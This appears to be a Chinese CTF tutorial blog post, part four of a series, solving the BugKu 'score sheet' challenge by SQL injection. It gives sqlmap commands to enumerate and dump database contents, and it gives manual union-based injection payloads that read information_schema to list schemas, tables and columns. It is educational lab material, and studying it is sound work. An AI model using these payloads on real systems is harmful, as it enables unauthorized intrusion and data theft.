CTF Web学习(四)
SQL注入CTF Web学习目录链接
CTF Web学习(一):基础篇及头文件修改、隐藏
CTF Web学习(二):代码审计、burp suite应用
CTF Web学习(三):python脚本的编写及应用
CTF Web学习(四):SQL注入
文章目录
前言
SQL注入还是挺重要的,稍微了解一下的人,你懂的,这里就不在解释,注入的原理百度一下就知道了。而手工注入相比较sqlmap来说可能更为重要,目前主流的数据库,需要稍微了解一下,如:mysql的information_schema、sql server(MSSQL)的sysobjects等,需要用到的时候可以百度看一看。以下还是以bugku的题来测试SQL注入。
一、BugKu Web 成绩单
链接:http://123.206.87.240:8002/chengjidan/
解法一:sqlmap注入
1、burp suite截包,另存为1.txt,将1.txt放到sqlmap根目录下,方便调用。
sqlmap的具体用法,小白百度一下,有很多教程,这里就不详细说明了。一下为sqlmap一步步的流程及解释:
1、测试注入点:sqlmap -r 1.txt
2、取数据库名:sqlmap -r 1.txt --dbs
3、取对应数据库中的所有表:sqlmap -r 1.txt -D skctf_flag --tables
4、取对应表中的所有列:sqlmap -r 1.txt -D skctf_flag -T fl4g --columns
5、显示对应表中的数据:sqlmap -r 1.txt -D skctf_flag -T fl4g -C skctf_flag --dump
以上为sqlmap注入的常规操作,sqlmap也可以直接写sql查询语句,当然也可以增删改查。以查询为例:
1、查询所有数据库:sqlmap -r 1.txt --sql-query “select * from information_schema.schemata”
2、查询对应的数据库中的所有表:sqlmap -r 1.txt --sql-query “select * from information_schema.tables where table_schema=‘skctf_flag’”
3、查询表中数据:sqlmap -r 1.txt --sql-query “select * from fl4g”
以上为sqlmap最常用的两种注入获取数据的方法,看个人喜欢使用。我是喜欢用第二种,简单粗暴,在现实中用的比较多,因为第二种可以保持自己对数据库的理解,可引申手工注入,而第一种只是在用sqlmap,看看后面几道题,你就知道sqlmap不是万能的了。手工注入才是王道。
解法二:手工SQL注入
首先说说我对手工SQL注入的一些想法:其实很多刚刚接触SQL注入的萌新来说,对sqlmap情有独钟,认为是万能的,其实这种理解是错误的,因为你还没有在现实生活中真正去尝试过SQL注入,只是停留在网上给出的环境在测试,真正的数据库有很多,CTF题一般是mysql数据库,数据量也很少,你用sqlmap注入,感觉很快,但当你遇到真实的数据库和数据量,会让你崩溃。因此手工SQL注入才是王道,至少反应很快,灵活性很大。现在以此题详细的讲讲手工注入:
1、测试注入点
1、post传值id=1,2,3 发现页面返回值正常
2、测试注入类型,百度一大堆,可以看看。不管什么类型,都要保证返回值正常
2、判断页面表的列数及替换显示
1、有个技巧是数数页面改变的值有几个,此题是4个值在变,我们从4开始判断,一直加1判断到错误位置,就可以判断出表列为几。
id=2' order by 4 #
2、替换数据显示。id=2' union select 1,2,3,'我想显示的内容' #
3、查询当前数据库,或者全部数据库
这里查询所有数据库是为了防止flag在其他的数据库中。
id=-2' union select 1,2,database(),group_concat(schema_name) from information_schema.schemata#
4、查询数据库中的表
id=-2' union select 1,2,database(),group_concat(table_name) from information_schema.tables where table_schema = 'skctf_flag'#
5、查表中列
id=-2' union select 1,2,database(),group_concat(column_name) from information_schema.columns where table_name = 'fl4g'#